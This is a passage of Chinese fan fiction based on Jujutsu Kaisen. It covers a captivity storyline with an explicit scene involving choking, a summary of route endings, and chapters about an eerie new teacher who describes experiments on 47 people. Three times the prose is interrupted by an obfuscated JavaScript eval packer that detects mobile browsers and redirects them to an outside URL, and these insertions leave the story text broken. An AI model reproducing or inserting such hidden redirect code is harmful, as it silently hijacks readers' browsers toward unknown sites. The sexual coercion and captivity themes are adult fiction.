说完这句话的海月遥吻上他颤抖的唇,夏油杰恍惚间仿佛抓住了救命稻草般回吻她,试图讨好她。他几乎惴惴不安,半伏在她的膝上,仰着头取悦她。 相比之前的假装示弱,现在的杰才更加脆弱。真可怜。海月遥心里这样想,怜爱地将他的侧发捋到耳后。 “杰说得对,”海月遥说,“我确实想吻你。” 她轻轻地啄着他挺翘的鼻尖,又继续说道:“我也确实想抱你。” 她像对待在雨中瑟瑟发抖的小狗一样抱着他。 海月遥捧着他的脸,冰冷的表情在看到他紧皱眉头却仍勉强自己笑时变得柔和。她又轻又慢地亲吻着他的额头、鼻尖与唇角,轻声在他唇边说道:“我爱你……” 夏油杰对这套流程再熟悉不过,一般在许久未见,或者刚掐着他让他窒息高.潮后,她就会这样一遍又一遍地吻着他。 他现在开始怀疑之前海月遥的冷厉是不是她的恶趣味……不过,这点也很可爱,他由衷地喜欢。 “我也爱你,遥……”夏油杰的脸庞泛着红晕,身体已不自觉地回应着她的每一个动作,“所以,把你所有的欲望发泄在我身上也没关系……” 无论是那些冷冽而残酷的欲望,还是温暖而柔和的,甚至是飘忽不定的情感,他都愿意全然承受。 “在药效消散之前,我们还有些时间……”他说话时还带着情欲的喘息,身体敏感得几乎每一次触碰都能让他兴奋得颤抖。 “……拿你没办法。”海月遥语气平淡,“这是最后一次了。” “不是哦,遥。我不是说过吗?我会一直纠缠着小遥,这一句话不是在骗你……”夏油杰在间隙时笑着回应,“既然我们都是诅咒师,那就没什么可忌讳的了……说不定我会缠到小遥厌烦呢……” “不,这是杰最后的机会了。” 少女的双腿紧紧夹住他,声音因他的进入而略微变调,但她却紧紧拽住他的黑发,强迫他抬起头。海月遥罕见地露出一个没有笑意的笑容。 …… 是的,杰不会再有机会了。 最后,海月遥独自蜷缩在空荡荡的房间里,那双薄蓝色的猫眼直直地盯着紧闭的门,脸上没有一丝表情。 她今天给他的,只是维生素。 她本打算带他出去。 但他背叛了她。 咔。 她捏断了项圈后的铁链。 58.夏油线路汇总 he结局:正篇 条件:夏油没有叛逃 …… 伪he结局1:【乌托邦】 条件:夏油叛逃;海月没有掐过夏油 这里是她为他精心打造的乌托邦。 无论是术师还是非术师,那些曾让他烦恼的仇恨的、揪心的痛苦的,以及所有让他不快的人和事,都不复存在。 这里只有他,和心爱的她。 无人知晓他的踪迹,也无人会来打扰他们。 乌托邦。 虚假而美好的乌托邦。 …… 伪he结局2:【不离不弃的小狗】 条件:夏油叛逃;海月掐了夏油;在夏油说“我爱你”后,海月不接上那句“你要什么” 在喂下海月药后,夏油站在实验室的出口。 外面是他许久未见的阳光,温暖而灼热,明亮得有些刺眼。他回头望去,那条走过的路依旧空荡荡的,只有冰冷微弱的白炽灯在闪烁。 他站在门口,迟疑许久,最终还是回到昏暗的那侧,趴在她的腿边。 她爱怜地捧起他的脸,亲吻他的鼻尖。 …… 伪he结局3:【童话世界与逃亡】 条件:夏油叛逃;海月掐了夏油;在夏油说“我爱你”后,海月反问“你要什么”;夏油没有故意让自己受伤吸引海月注意 囚禁的日子仿佛永无止境。 夏油已记不清自己被囚禁了多少天,直到一天,海月带着得意的口吻说:“可以走了。”但她并没有就此放弃他的念头,而是拉着他的手,领他走出实验室。 阳光耀眼,他眯起眼睛。 “我们要一起逃了。” 他听见海月这么说。 夏油才知道现在咒术界变了天,咒灵的存在不再是秘密,非术师也能不溢出咒力形成咒灵。而高层也换了一批,是他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369122|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老同学。 听起来像是他理想中的童话世界。 唯一现实的是,这次他们两个都成了诅咒师——在改革的时候,海月去做了很多见不得光的事情,现在明面上也是被通缉的对象。 当然,他们的老同学肯定是对他们睁一只眼闭一只眼,但短期内也得避着风头。 现在他们需要做的,就是牵起手,在童话世界里一起“逃亡”。 …… be结局:【红药与蓝药】 条件:夏油叛逃;海月掐了夏油;在夏油说“我爱你”后,海月反问“你要什么”;夏油故意让自己受伤吸引海月注意 有一个游戏,叫红药与蓝药。 红药致命,蓝药无害。 她给他的第一颗和最后一颗药,都是蓝药。 当她把最后一颗蓝药伪装成红药递给他时,他却将自己眼中的“红药”喂给了她。 她绝不原谅背叛。 59.夏油师生线(一) “最近你们会多一位老师,有任何不懂的问题都可以向她请教。” “但切记,在上课时间之外,不要轻易接近她,更不要答应她的任何要求。” 这是新老师来之前,夜蛾正道对一年级三人组的警告。 …… “海月遥。” 讲台上的黑发女人简洁地自我介绍。她身穿垂坠感十足的衬衫,搭配剪裁利落的长裤,更显干练又时尚。 台下的三人,目光在她身上流转,难以将她与夜蛾正道口中的“具有威胁性”联系在一起。 新老师看上去不过二十出头,眉如远山,眼若含烟,肤色苍白得几乎透明,身材也略显单薄,只有那饱和度过高的蓝瞳在黑白间愈发晃眼,透出一如寒冰般的锐利。 她站在那里,就像是一件精致的玻璃艺术品,美丽却一碰即碎。 虽然以往的老师中也不是没有普通人,但受限于咒术界的保密协议,这样的情况并不常见。大多数教职都由辅助监督们兼任,他们虽战斗力一般,但终究还是咒术师。 然而眼前这个女人,以五条悟的六眼判断,只是个纯粹至极的普通人。甚至在普通人中,她也属于体弱的那一类。 “夜蛾是不是最近老糊涂了?”五条悟开始和隔壁桌的夏油杰咬耳朵。 夏油杰叹气,故意做出困扰的样子,两眼眯成一条缝,皱着眉说:“可能是更年期了吧……我们以后还是要多体谅夜蛾老师。” 家入硝子趴在桌上犯困,她瞥了眼一旁的那两个人渣同期,目光又移向讲台旁的身影。 新来的老师对他们的出格行为似乎毫无所动,只是低头看着满是灰尘的粉笔盒,嫌弃地戴上手套,想挑一根顺眼的粉笔。 “现在开始上课……”新老师刚开口,就被五条悟打断。她面无表情地看着疯狂举手的白毛学生,他的手举得高高的,像是平地拔起的高塔。她平静地问:“有什么问题吗,五条君?” “老师,你的自我介绍还没说呢。”他露出嚣张的笑容,每一缕白发都透出不遮掩的锋芒。 家入硝子注意到,台上一直面无表情的老师抽粉笔的动作突然一顿,平静的脸上似乎掠过一丝异样。 女人抬起头,冷淡的眸光最终落在那嚣张的学生身上,“已经介绍过了。” “只说名字可不够哦,老师~” “现在是上课时间,五条君,你确定要浪费在自我介绍上?”她语气平静,声线清冷如冰。 家入硝子暗想,她该不会生气了吧? “是~我们都特别想了解老师呢~~”刺头学生拉长声音,他向来唯我独尊,对老师的冷脸也习以为常。如果夜蛾正道没有提前叮嘱他们那几句话,他或许还不会对她提起兴趣呢。 夏油杰平常一副好好学生样,此刻也没出声阻止。毕竟,这位老师是夜蛾正道再三警告不要轻易靠近的人物,他自然也心生好奇。 唯一的良心家入硝子明白,劝阻无用。这两个好奇心爆棚的人渣,绝不会放过任何了解新老师的机会。当然,她也懒得多管闲事。 很好。 夜蛾老师的叮嘱似乎起反作用了。 毕竟,三人都是如假包换的问题学生。 “既然是学生们的请求……”女人低声喃喃,随即抬眼看向底下的三人,语调平稳地说: “海月遥,女,25岁,单身。身高175.0cm,三围——” 夏油杰突然爆发出剧烈的咳嗽声,盖过了台上老师那荒谬的自我介绍,后面的数字变得模糊不清。 纯情的dk此刻只觉耳根发热。三围什么的……这真的能说吗! 原本挑刺的主力军五条悟也沉默了。 唯有家入硝子表情依旧,她瞥了眼新老师左手无名指上的蓝宝石戒指,反问:“老师是单身吗?” 女人看了眼自己的戒指,耐心回答:“这样可以减少不必要的麻烦。” 说完,她再次环视两个脸色微微泛红的男生和那位始终显得困倦的女生,平静地问:“你们还有什么想了解的吗?” “老师是非术师吗?”某健全的男子高中生比深闺大少爷更快摆脱窘迫,轻咳一声问道。 “1。”海月遥简洁回答,迎上他不解的目光,她解释道,“在多数编程语言里,1代表肯定、正确或逻辑上的‘是’。” 老师,你是人机吗? 夏油杰忽略这个小插曲,带着温和的笑容继续问:“那老师为什么选择来高专任教呢?” 笑得好假,有点像狐狸。 海月遥心里这么想,同时思索着如何简明扼要地回答。最终开口:“因为夜蛾君说,不来上课的话,我会被判死刑。” 三人:……? 这是威胁? 可夜蛾正道外表看似极道组织头目,但实际上只是个钟爱毛绒玩具的大叔而已。 老师是在说笑?可她的神情却异常认真。 “诶——真的假的?”五条悟往后一靠,懒散地倚在椅背上,无处安放的大长腿从课桌下伸出,椅子只有后边两个椅腿撑地,看似摇摇欲坠。“老师,能详细说说吗?我们很好奇呢~~” 作为老师,海月遥自然会履行基本职责,为学生答疑解惑。 她脑中浮现出第一次遇见夜蛾正道的场景…… …… 在废弃的破旧大楼中,一轮血月诡异地高悬夜空,妖异的光芒透过破碎的窗户,斑驳地投射在残破不堪的墙壁上。 黏稠的暗红色血迹在地上缓缓汇聚,仿佛有生命一般,蠕动着,流淌着,渐渐形成一个个小水洼。浓重的血腥味弥漫在空气中,令人作呕。当血迹即将触及女人的黑靴时,她厌恶地后退一步。 “这是第几次了?” 声音从远方传来,女人侧头寻找。黑暗中,仅有血色月光从窗口透入,勉强映出来者的身影,一个与黑暗相融的模糊男性轮廓。 她眯眼想在昏暗中辨认他,长睫毛如蝶翼轻颤,在苍白的面腮上投下一片阴翳。 “你记得自己吃过多少个面包吗?”女人反问。 “0,”来人轻笑一声,对周围的血腥视若无睹,“我是米饭派。你呢?” “47。”女人回答。 …… “然后我就跟着夜蛾君过来了。”海月遥结束回忆,发现台下人露出不满的神情。 “完全不明白什么意思啊!” 新老师讲故事的能力实在太差了,她只说了几句两人的对话,前言不搭后语,让人根本摸不清头脑。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这位老师也对拖堂毫无兴趣,下课铃声一响,她便觉得任务完成,立刻闭嘴,好像多说一句话就会给高专打白工一样。但她并没有马上离去,而是从容地走向讲台下方。 在众目睽睽下,她停在夏油杰课桌前。 她俯身与少年平视,视线交汇。女人眼眸淡然无波,不含任何情感地打量着他。纤长的睫毛微微下垂,更增添几分倦意。 “老师,有什么事吗?” 夏油杰迟疑地开口,身体有些僵硬。当海月遥弯下腰时,两人的距离被拉得极近,他几乎能感受到她温热的吐息轻拂过自己的脸颊。 然而下课了,海月老师也没有解答学生疑惑的打算。她的视线仔细描绘着眼前人的眉眼,眉心渐渐皱了起来。 “那个……海月老师?”夏油杰不着痕迹地往后移,他倒是不太适应这种过近的距离。 新老师表情怪异,最终缓缓吐出两个字: “杰……酱?” 第一次见她的夏油杰:? 你谁? 60.夏油师生线(二) “呐呐~杰酱~杰酱~”五条悟一脸嬉笑,用手指戳着显然不耐烦的夏油杰,“诶——真可爱~~” “……快放手。”夏油杰催促道。 五条悟赖皮:“不要~” “哈……要出去聊聊吗,悟?” “杰酱很怕寂寞吗?真可怜~” 眼看着两人要开始互殴,家入硝子拎着包就准备往外溜。当然,重要的是她藏在包里的香烟。 上课铃又响了,下节课是夜蛾老师的。 三人心有戚戚地坐回原位。 今天或许因为有事耽搁,夜蛾老师一直没来,五条悟又靠在椅子上与夏油杰闲聊起来。 “所以说,你真的不认识那个……呃……” “海月老师。” “哦,对,海月老师。”五条悟笑着探身,一脸八卦的神情,“你真不认识她?” 虽然才入高专几个月,这俩人却一拍即合,臭味相投,沆瀣一气,立马组成人渣二人组顺利出道,在东京咒术高专里“声名远扬”,成为让学姐都愤恨不已的对象。 家入硝子:人渣们。 “硝子,你明明也很好奇吧!还装得一副不感兴趣的样子,太狡猾了!”五条悟对“人渣”这个称呼强烈不满,“有时候明明是你提的主意!” 家入硝子摊手,做出不二家同款表情。 嘲讽性极强。 “啊,你这家伙!”五条悟叫道。 “抱歉啦~”家入硝子的声音慢而黏,带着几分慵懒。“而且你们不也把我供出来了吗?”还是以用手把她夹在腰间的屈辱姿势。 有时,她根本没参与,但这两个家伙总是秉持着“有福不同享,有难一起当”的原则,强行把她拉下水,指认为共犯。 五条悟不满地嘟囔:“一点诚意都没有!” “哈哈~” 话题又回到原点,家入硝子转向夏油杰:“夏油,你真的不认识海月老师吗?” “都说了好多次了,我真的不认识。”夏油杰无奈地趴在桌子上,长长地叹了口气。 那个电波系的老师在喊出“杰酱”后,便头也不回地离开了,留下夏油杰在原地一头雾水。 他能肯定自己从来没见过她。虽然新老师不像是话多的类型,可单凭她的长相气质,夏油杰也不觉得自己会见过就忘。 倒不是说新老师长得有多么惊为天人,而是她身上那种仿佛深海般的沉静气质,冷漠而疏离,对所有人都一视同仁地观察着。 不过他也没纠结太久,这到底不是什么大事,旁边的同期兴致冲冲地追问也只是因为高专生活太过无聊。新老师很快便成了他们闲聊的话题,不过聊了几句,便被新推出的喜久福口味所取代。 不过,47……夏油杰抿紧唇。 …… “杰……夏油君,你以后就是班长了。”海月遥无视了背景中五条悟的抗议,面无表情地宣布了这个三人班级的班长任命。 她原本是想让那个女生来当的,毕竟她悟性高,话也不多,完美适合她这种社恐。可这孩子今天却没来上课。 请假还是翘课?海月遥猜测着,又毫不在意地把疑问抛之脑后。 “夏油君负责收发作业和试卷……干脆批改也让你来吧。”她神情恹恹,扫了一眼表情古怪的夏油杰,善解人意地解释,“我会把答案给你的。”所以不用担心批改的时候不知道答案像只无脑的猴子抓耳挠腮。 “夜蛾君明明说好我只用上课的……为什么还要有作业和考试……”她沮丧地低下了头。 所以,老师您这是把一半的工作都推给我了吗?您明明不是班主任,却还任命班长?夏油杰皮笑肉不笑地想。 他罕见地对一个普通人产生了嫌恶的情绪。无论是她涉嫌杀害47人的嫌疑,还是这种不负责任的态度,都让他感到不满。 “老师,或许自己的工作还是得自己负责比较好哦?”他笑着反呛她。 “杰……夏油君是不想当吗?”不知为什么,她总是说错,及时改口后问道。 “是哦,海月老师~” 他笑着说,话音刚落,气氛凝滞起来。 台上的老师不说话,薄蓝色的眸子紧紧地盯着他,面无表情的脸庞显得冰冷而锋利。 就这么容易生气了?他还没真正开始“行动”呢。夏油杰手撑下巴,弯着眼睛向她假笑。 “哦。” 结果新老师只是点头,随后只是一言不发地垂下眼帘,微微低头,披散的黑发更衬得她面色苍白,宛如深夜中幽幽绽放的昙花。 莫名地,夏油杰从她身上看出了几分沮丧,但这大概是错觉?他又没说重话。夏油杰移开视线。 海月遥终于从粉笔盒中找到了完美的粉笔,抬起头,说了句“开始上课”,便将之前某人的拒绝忘得一干二净。 下课后跟夜蛾君说自己不想布置作业吧。比起这个,他上次给自己的书…… 她思维发散,心不在焉地讲着课。 老师心不在焉,台下的学生也无心听课。五条悟试图戳戳夏油杰——他倒不是有什么正经话要说,就是单纯贩剑。可夏油杰没怎么回应他,他撑着下巴,不时往台上望去。只见本就精神不佳的老师此刻更加无精打采,低着头讲课,连头也不抬。 不,他刚刚也没说太重的话吧……?二十多岁的大人这么脆弱吗? 还没经历过社会毒打的夏油杰不知道,成年人的崩溃往往在一瞬间(bushi)。 “下课。”老师的声音响起。 就在他胡思乱想之际,台上的老师一听到铃声便迅速宣布下课,收拾东西准备离开。然而,走到门口时她又停了下来,回头一望,正好与一双注视着她背影的紫瞳相遇。 她愣了一下,随后走到夏油杰桌前,将手中的讲义递给他:“劳烦夏油君转交给家入桑。”她瞥了眼空着的座位,“这是这节课的讲义概要,她可以看这个补上。” 出于老师身份的基本责任,她还是礼貌地问了一句:“家入桑是有事请假吗?” 夏油杰诧异反问:“老师不知道?” “0。” 夏油杰沉默片刻,回想起人机老师之前的话,0应该代表不知道。他揣测着回答:“硝子因为有任务,很忙,所以来不了。” “任务?”新老师显得相当吃惊,“那杰……夏油君和五条君也会有任务吗?” “高专的学生都是这样的,老师。”旁边的五条悟抢着回答,语气中带着一丝幸灾乐祸,“海月老师不会连高专的基本构成都不清楚吧?” 海月遥诚实地回答:“确实没人告诉我。”她毕竟是被临时安排上岗的教师,连备课都是匆忙完成的。 不过,难怪杰……夏油君说不想当班长的,原来还有别的工作。海月遥心想。但这个白毛小朋友就很想当班长的样子,他话太密了,有点烦,还是算了。 一米九的白毛小朋友:? “你那是什么眼神?”五条悟莫名从这个奇怪的老师眼中看到了一丝慈爱,这个念头让他感到有些恶心,不禁打了个寒颤。 “不知道。”海月遥稍作停顿,怜悯地揉了揉两个孩子的头发。当然,她还没揉几下,五条悟就炸毛地躲开了,而夏油杰则乖乖地由她去了,只是带着一丝疑惑的笑容。 “大家辛苦了。” 诶,任务……现在的学校怎么还要压榨未成年……海月遥又想到自己是特聘教师,不用出任务,松了口气。 嘿嘿,她不 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“海月老师认识我吗?”夏油杰直截了当地问,他注意到她之前几次差点喊出“杰”,然后又改了口。 “不认识。”海月遥撑着下巴,低头看着书,没有在这个问题上多作解释,“还有问题吗?” 夏油杰发现她翻书的速度极快,说话间又翻了一页。他心中暗想,这么短的时间,她真的能看完吗?他又问:“老师之前提到的47人是什么意思?还有死刑是怎么回事?” 社交最忌讳交浅言深,说到底,夏油杰的问题太过直接突兀,但他实在是对新来的这位普通人老师缺乏敬意,或者说他甚至对她有些反感。而海月遥向来不在意社交中的潜规则,坦率直接得很,学生有问题她就回答了。 “就是字面意思。”她又翻过一页,书上的内容她大多已知,看着看着又觉得无聊,低声自语道,“夜蛾君也没说不能告诉你们……” 她瞥了眼正等待回答的夏油杰,反问道:“夏油君,你知道咒力的产生机制吗?” 这是第一节课的内容。夏油杰答道:“负面情绪转化为咒力?” “对。”她微微点头,“在5%的显著性水平下,术师产生的咒力约98%会储存在体内,其余部分会溢出。而非术师的溢出咒力则几乎接近其产生的总量。这些溢出的咒力在特定区域积聚,最终形成咒灵。” “当然,不同事物的负面情绪会孕育出不同的咒灵,这表明咒力本质上也具有异质性。其中的原因……算了,这个之后会教你们,现在不知道没关系。” “杰……夏油君,你觉得术师和非术师为什么会产生这样的区别呢?”她再次反问。 见夏油杰沉默不语,她接着说:“关键在于大脑构造。” “所以是生理结构上的差异吗?”夏油杰迟疑地问。 “没错,咒术师刻印术式的地方位于大脑前额叶,这是控制人的精神、情绪和认知功能的关键区域。特别是右前额叶,与恐惧、攻击等负面情感紧密相关。”她微微一笑,“咒术师的独特之处,很大程度上就体现在这里。” 她对手中没看完的书失去兴趣,站起身,缓缓踱步。 “那么,更具体的区别又是什么呢?”她继续发问。 夏油杰注意到她眉眼弯弯,猫眼般的眸子眯起,与平时的冷淡截然不同,多了几分狡黠与灵动。然而,她接下来的话语却截然相反。 “……所以,我就抓了47个人做了试验。” 夏油杰的眼眸骤然紧缩,女人的身影越来越近,在他眼底不断放大。她微凉的指尖在他额头上轻轻划过,却让他感到如刀割般的冰冷。他几乎猜到了她的后文。 “我剖开了他们的大脑。” 新老师笑着说道。 61.夏油师生线(三) 谈话最终不欢而散。 海月遥没有过多解释,毕竟详细阐述她的试验流程太过耗时,且对夏油杰这样的低年级学生而言,内容超纲太多。 夏油杰只觉荒谬至极。他原本就对海月遥的话半信半疑。他知道他们的班主任夜蛾正道,外表凶悍,实则是个爱玩娃娃的正直大叔,绝不可能让战绩在诅咒师中都算穷凶极恶的危险人物进入高专任职。 谎言? 按她所说,实验对象中必有咒术师,可海月遥看起来就是个普通人,没有术式,戴着专用咒具眼镜,身体孱弱,夏油杰甚至觉得轻轻一捏就能折断。 然而,她并不像在撒谎,态度认真,对术师和咒力的了解远超他们之前的所有老师。 他又回想起海月遥的话: “夏油君,从原理上讲,咒灵几乎无法被彻底消灭,只会不断从散溢的咒力中聚合重生。” “非术师与术师的一大区别,在于大脑构造。你知道这意味着什么吗?” “——人为创造咒术师的可能性。” “而我,正是在探索这种可能性。” 疯子。 彻头彻尾的疯子。 夏油杰对她的忌惮与嫌恶达到顶峰。 当他看着那张冷淡的美人脸时,甚至感到作呕。那薄薄的皮肉仿佛由无数扭动的白蛆组成,锐利的蓝眸像是黏稠的肉球,将他牢牢锁定,细细啃噬。他甚至又回忆起吞下咒灵球时的恶心味道。 “杰,你没事吧?” 她见他面色不对,连称呼都没改,伸手想摸他的额头,却被他一把拍开。 “我很好,不用老师操心。”他语气强硬,“也请老师不要直呼我的名字。” “我没问题了,再见。” 他转身离开。 …… 她怎么会在这里? 夏油杰冷冷地注视着出现在他家中的海月遥。 她这时到没穿着那身利落的打扮,而是换上了一袭无袖纯白长裙,披散的黑发轻轻挽起,搭在左肩,显得格外柔和无害。 这个犯下令人发指罪行的人,此刻却如盛开的白玉兰般,柔弱地坐在他家的沙发上。他的母亲坐在她身旁,见到他后笑着招呼:“呀,小杰回来了。这位是海月遥,快叫遥姐姐。” “……姐姐?”夏油杰的表情略显古怪。 海月遥抿了一口清茶,不冷不热地应了一声。她的目光从青绿色的茶汤中立起的茶梗上移开,流转间望向警惕地眯起眼的夏油杰。 “又见面了,夏油君。” 夏油理绘惊讶地问:“遥认识我家小杰?” “之前跟理绘姐提过,我上周去了一所高专任职。”她放下茶杯,专注地看向一旁的女人,“第一天就看到了夏油君。” “因为跟理绘姐长得很像,所以多看了几眼,才发现是理绘姐的儿子。”海月遥若有所思地捂住心口,“其实很惊讶,因为杰酱比我想象中壮了些。” 她听夏油理绘描述,脑海中一直是身材清瘦的清俊少年形象,像是会沉浸在文学部书库的高中生,温和又坚韧。结果是一米八五的高大dk,虽然高专制服宽大,但她也能隐约看出那布料下结实精瘦的肌肉,看上去一拳能打晕一个成年男性。 有种林黛玉倒拔垂杨柳的荒谬感。 脑子里的可爱小杰全被精壮怪刘海取代。 幻灭了。 “那遥不就是我家小杰的新老师!”夏油理绘惊呼一声,又热情地握住她的手,“我还不知道小杰在学校怎么样呢?这孩子哪里都好,就是不愿意和我们讲学校的生活,总让我有些担心……” 她絮絮叨叨地说着,夏油杰却注意到海月遥随着母亲的接近愈发僵硬,甚至在被握住手时都忍不住咬着淡色的薄唇,苍白的唇色都增添了几分血色。她低着头,眸色闪烁,始终不敢与对方目光相接。 她在紧张吗? 怎么可能。 但夏油杰也不打算给她解围。 “杰……夏油君的话……”往日冷淡的女人紧张起来,断断续续地说道,“是一个温柔的孩子。” 漫画里的“亚撒西(温柔)”总不会出错。 “听课的时候很认真。” 上课时一直盯着她,大概是认真听讲?毕竟家入桑有时会打盹,五条君只听感兴趣的部分。相比之下夏油杰就是五好青年。海月遥试图回想起过去夏油杰的表现。 “也会课后问我问题。”虽然问题跟课堂内容无关,且只问过一次后就没再单独找过她。 成功独立活到25岁的海月遥已经初步通人性,起码明白不能在一个母亲面前说她儿子的坏话。 可在她满意地觉得自己是人际交往的大师时,却发现夏油杰的表情冷了下来。直到注意到她的视线,他才换回温和的笑容,不紧不慢地给两人沏上茶,丝毫没有离开的意思。 他甚至自然而然地坐下来加入聊天:“妈,你认识海月老师怎么不告诉我呢?我都不知道你们什么时候成了朋友?”他的话语略带埋怨,但经过那尾音上扬的温和声线,就变成了亲昵的撒娇,“我很好奇,跟我说说嘛~” “你这孩子,多大了好奇心还这么重。”夏油理绘笑着打趣道,但也不见怪地回答了他的问题。 海月遥觉得自己被夏油母子“包围”了。 人类怎么能说这么多话?此刻她被迫坐在这里,听着母子俩一搭一搭地聊着天,时不时还要把话题引向她。 “我还有事。” 海月遥突然说道。若是一般人聊天,这个时候可能会觉得她过于突兀。但这一大一小两个黑发美人却十分善解人意。 “海月老师明天还有课,确实时间不早了,耽误老师这么久。”夏油杰似乎满含歉意,站起身,“我送送海月老师吧。” 夏油理绘赞赏地看了自己的孩子一眼。 …… 海月遥一出门,见夏油家的门已合上,便转头对夏油杰说:“不用送了。” 夏油杰刚想点头应允,却见她走的方向不对,疑惑地问:“老师不是要去那边吗?”他指了指自家对面,那里是海月遥新实验室的所在。其实他之前就知道那栋房子,只是常年未见对面的住户,未曾想那就是新老师的家。 “我不住那儿。”海月遥随口回答。 “那我送送老师吧。”他笑道,走到她身侧。 海月遥的身高在日本绝对是醒目的程度,但夏油杰仍比她高出小半个头。他侧目望去,能看见她低垂的纤长睫毛,以及隐约间一抹令人惊艳的蓝。 “我一个人可以的。”海月遥坚持道。 “拜托了,海月老师,如果不送你,我会被骂的。”夏油杰双手合十,做出告罪的样子,闭眼拉长声音抱怨,但在海月遥看过来时,又忍不住笑了,“而且,我也想多和老师待一会儿。” 他要搞清楚她究竟是有意还是无意靠近他的家人。夏油杰想到她之前在办公室的回答,眸光一瞬变冷,又变成假笑的样子。 海月遥奇怪地看了他一眼:“随你。” 一路上,夏油杰不时旁敲侧击,而海月遥只是偶尔淡淡回应,或是“嗯”一声表示在听。最终,当夏油杰再无问题可问,两人便陷入了几乎令人窒息的沉默。 正值夏季,柏油路上蒸腾着热气,闷得人晕乎乎的。路上不过寥寥几人,偶然一声汽笛音,便是车裹挟着厚重的热空气驶过,也叫人清凉不了。 好热。 这么想着,海月遥几步走到夏油杰身后,整个人躲在他的阴影里,一手拉着他的衣摆,亦步亦趋地跟着他。 夏油杰惊讶:“老师?” “不想晒太阳。”海月遥勉强解释一句,便又沉默了。夏油杰心中暗想,她是不是每天的说话字数都有限制,所以才如此惜字如金。 他转头看向身后的海月遥,在阴影的映衬下,她的皮肤显得愈发苍白,几乎泛着淡淡的莹光,整个人看上去更加单薄脆弱。 虽然很热没错,可都是成年人了,不能再忍忍吗?让高中生帮她挡太阳,这家伙就不会感觉害臊?夏油杰腹诽。 然而事实证明,她并不会。 夏油杰其实并不喜欢有人跟在身后,他又开始寻找话题,时不时扭头看向她。因他的动作,阳光透过来,洒在她半边脸上,那双又大又圆的琉璃蓝猫眼在阳光下变得近乎浅海的薄青色,她难受地眯起眼。 他也笑着弯弯眼。 这或许算是他的一种小小报复?他曾质询过夜蛾正道,但出乎意料的是,夜蛾老师只是叹了口气,让他不必在意此事。 “不用担心,她不会伤害高专的人。” 这是他的原话。 哈?所以呢? 夏油杰看着海月遥,笑意加深。 “——夏油君讨厌我。” 她突兀地说出这句话。 “嗯?”他轻哼一声,没有给出明确的回答。 海月遥松开捏着他衣摆的手,表情平静地说:“送到这里就可以了。” 她不在乎别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422830|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的看法,既然他不喜欢这样,她也不会勉强别人顺应自己的喜好。 “海……” 夏油杰的话还未落音,乌云已抢先一步笼罩天空,闷声几响雷。直到瓢泼大雨噼里啪啦打下来,海月遥没等听清夏油杰的回复,就已从头到脚湿透。雨声惹得她心烦。 ……尽管她知道夏日天气多变,但到这种程度是不是太过分了。湿漉漉的长发黏在冰冷的肌肤上,衣物也被雨水浸透,紧紧贴着身体。 今天不宜出行。 她面无表情地想着,突然间,一件宽大的校服罩在她身上。高专校服采用特殊材质,既防水又透气,而且非常结实。 ? 她一边把手从袖子里伸出来,一边不解地看向夏油杰。和她一样,这人也被淋了个透,校服下的衬衣湿透,紧贴在身上,紧绷的身材曲线一览无余。 啊,果然和她想的一样,夏油君不是可爱的杰酱。海月遥这个时候还有闲心发呆。起码身材不是可爱类型的。 “……老师?” 夏油杰本不想多管闲事,但她那湿透的白裙实在太过……他虽然讨厌她,但也不至于故意让她陷入这种境地。然而,当她那令人无法尊敬的目光直勾勾地盯着他半透衬衣下的身体时,他又开始后悔自己的决定了。 糟糕的大人。 夏油杰对她的印象更差了。 “请、不、要、盯、着、看。”他假笑着,咬牙切齿地迸出每一个字。 “?”海月老师一时没明白他的意思,歪着头,半垂的猫眼难得地睁大,蜷曲的黑发贴着苍白的脸颊,衬得双眼格外圆大。过了一会儿,她才反应过来,缓缓地“哦”了一声。觉得这样似乎不够礼貌,便又补了一句:“谢谢。” 夏油杰不确定这个“谢谢”是指他的衣服,还是感谢他展示这副肉.体。 啊啊,真是糟糕的大人…… 凶恶且十分糟糕的海月老师打了个喷嚏。 “那么,夏油君,我先回去了。衣服我会洗好再带给你。你也快点回去吧,全身都淋湿了,容易生病的。”她边说边环顾四周,想找个屋檐避雨,但这附近都是住宅区,房屋都被围墙圈着。 忽然,雨点不再落在头上。她抬头望去,透过被雨水打湿的眼镜,看见一只蝠鲼形状的咒灵正在两人头顶盘旋,挡住雨水。 “突然出现的咒灵?” “不,是我的咒灵。”夏油杰淡淡地回答,却注意到她眼中的疑惑。“咒灵操术,老师不知道吗?” “知道。”海月遥不允许任何人质疑她的专业性,“我只是不知道夏油君的术式是这个。” “……老师不知道我的术式?” “嗯。” 海月遥不明白为什么知道这一点后,他原本虚假的笑容都变得真切几分。他再度变得健谈起来。 “我送老师回家吧。”他走到她身旁,接着问,“老师和我妈是朋友吗?” “嗯。” “那……” 他又开始细细问起具体的细节,要不是他能帮忙挡雨,海月遥早就不回答了。 突然,她心生一计。 “夏油君,你知道咒术师的起源吗?” 夏油杰一脸疑惑。 